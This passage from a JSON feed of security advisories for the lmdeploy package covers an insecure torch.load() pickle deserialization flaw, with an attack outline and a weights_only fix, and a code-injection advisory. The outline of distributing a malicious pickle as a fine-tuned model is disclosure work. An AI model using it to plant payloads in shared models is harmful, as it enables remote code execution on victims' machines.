containing a pickle payload\n2. Attacker distributes it as a \"fine-tuned model\" on model sharing platforms or directly to victims\n3. Victim downloads and loads the model using lmdeploy\n4. Malicious code executes with the victim's privileges\n\n### Potential Consequences\n\n- **Remote Code Execution (RCE)** - Full system compromise\n- **Data theft** - Access to sensitive files, credentials, API keys\n- **Lateral movement** - Pivot to other systems in cloud environments\n- **Cryptomining or ransomware** - Malware deployment\n\n---\n\n## Recommended Fix\n\nAdd `weights_only=True` to all `torch.load()` calls:\n\n```diff\n# lmdeploy/vl/model/utils.py:22\n- return torch.load(ckpt)\n+ return torch.load(ckpt, weights_only=True)\n\n# lmdeploy/turbomind/deploy/loader.py:122\n- tmp = torch.load(shard, map_location='cpu')\n+ tmp = torch.load(shard, map_location='cpu', weights_only=True)\n\n# Apply the same pattern to:\n# - lmdeploy/lite/apis/kv_qparams.py:129-130\n# - lmdeploy/lite/apis/smooth_quant.py:61\n# - lmdeploy/lite/apis/auto_awq.py:101\n# - lmdeploy/lite/apis/get_small_sharded_hf.py:41\n```\n\nAlternatively, consider migrating fully to SafeTensors format, which is already supported in the codebase and immune to this vulnerability class.\n\n---\n\n## Resources\n\n### Official PyTorch Security Documentation\n\n- **[PyTorch torch.load() Documentation](https://pytorch.org/docs/stable/generated/torch.load.html)**\n  \n  \u003e *\"torch.load() uses pickle module implicitly, which is known to be insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never load data that could have come from an untrusted source.\"*\n\n### Related CVEs\n\n| CVE | Description | CVSS |\n|-----|-------------|------|\n| [CVE-2025-32434](https://nvd.nist.gov/vuln/detail/CVE-2025-32434) | PyTorch `torch.load()` RCE vulnerability | **9.3 Critical** |\n| [CVE-2024-5452](https://nvd.nist.gov/vuln/detail/CVE-2024-5452) | PyTorch Lightning insecure deserialization | **8.8 High** |\n\n### Additional Resources\n\n- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n- [Trail of Bits: Exploiting ML Pickle Files](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n- [Rapid7: Attackers Weaponizing AI Models](https://www.rapid7.com/blog/post/2024/02/06/attackers-are-weaponizing-ai-model-files/)\n\n---\n\nThank you for your time reviewing this report. I'm happy to provide any additional information or help with testing the fix. Please let me know if you have any questions!","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-12-26T17:34:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9pf3-7rrr-x5jh","https://github.com/InternLM/lmdeploy/commit/eb04b4281c5784a5cff5ea639c8f96b33b3ae5ee","https://nvd.nist.gov/vuln/detail/CVE-2025-67729","https://github.com/advisories/GHSA-9pf3-7rrr-x5jh"],"source_kind":"github","identifiers":["GHSA-9pf3-7rrr-x5jh","CVE-2025-67729"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-26T18:00:07.621Z","updated_at":"2026-06-10T15:02:55.591Z","epss_percentage":0.00134,"epss_percentile":0.32511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cGYzLTdycnIteDVqaM4ABQQc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05cGYzLTdycnIteDVqaM4ABQQc","packages":[{"ecosystem":"pypi","package_name":"lmdeploy","versions":[{"first_patched_version":"0.11.1","vulnerable_version_range":"\u003c= 0.11"}],"purl":"pkg:pypi/lmdeploy"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cGYzLTdycnIteDVqaM4ABQQc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qZnZnLXFtNHAtNDczeM4ABGY0","url":"https://github.com/advisories/GHSA-jfvg-qm4p-473x","title":"InternLM LMDeploy code injection vulnerability","description":"A vulnerability was found in InternLM LMDeploy up to 0.7.1. It has been declared as critical. Affected by this vulnerability is the function Open of the file lmdeploy/docs/en/conf.py. The manipulation leads to code injection. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-04-03T18:30:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-3163","https://github.com/InternLM/lmdeploy/issues/3254","https://github.com/InternLM/lmdeploy/issues/3254#issue-2918865448","https://vuldb.com/?ctiid.303109","https://vuldb.com/?id.303109","https://vuldb.com/?submit.542527","https://github.com/advisories/GHSA-jfvg-qm4p-473x"],"source_kind":"github","identifiers":["GHSA-jfvg-qm4p-473x","CVE-2025-3163"],"repository_url":"https://github.com/InternLM/lmdeploy","blast_radius":1.4449439791871097,"created_at":"2025-04-23T20:09:30.833Z","updated_at":"2026-06-12T15:03:59.357Z","epss_percentage":0.00218,"epss_percentile":0.44523,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZnZnLXFtNHAtNDczeM4ABGY0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qZnZnLXFtNHAtNDczeM4ABGY0","packages":[{"ecosystem":"pypi","package_name":"lmdeploy","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.7.1"}],"purl":"pkg:pypi/lmdeploy","statistics":{"dependent_packages_count":1,"dependent_repos_count":2,"downloads":114267,"downloads_period":"last-month"},"affected_versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.1.0","0.1.0a0","0.1.0a1","0.1.0a2","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.3.0","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.2.post1","0.5.3","0.6.0","0.6.0a0","0.6.1","0.6.2","0.6.2.post1","0.6.3","0.6.4","0.6.5","0.7.0","0.7.0.post1","0.7.0.post2","0.7.0.post3","0.7.1"],"unaffected_versions":["0.7.2","0.7.2.post1","0.7.3","0.8.0","0.9.0","0.9.1","0.9.2","0.9.2.post1","0.10.0","0.10.1","0.10.2","0.11.0","0.11.1","0.12.0","0.12.1","0.12.2","0.12.3","0.13.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZnZnLXFtNHAtNDczeM4ABGY0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03dmM1LW1qd3AtYzhmcc4ABGYw","url":"https://github.com/advisories/GHSA-7vc5-mjwp-c8fq","title":"LMDeploy Improper Input Validation Vulnerability","description":"A vulnerability was found in InternLM LMDeploy up to 0.7.1. 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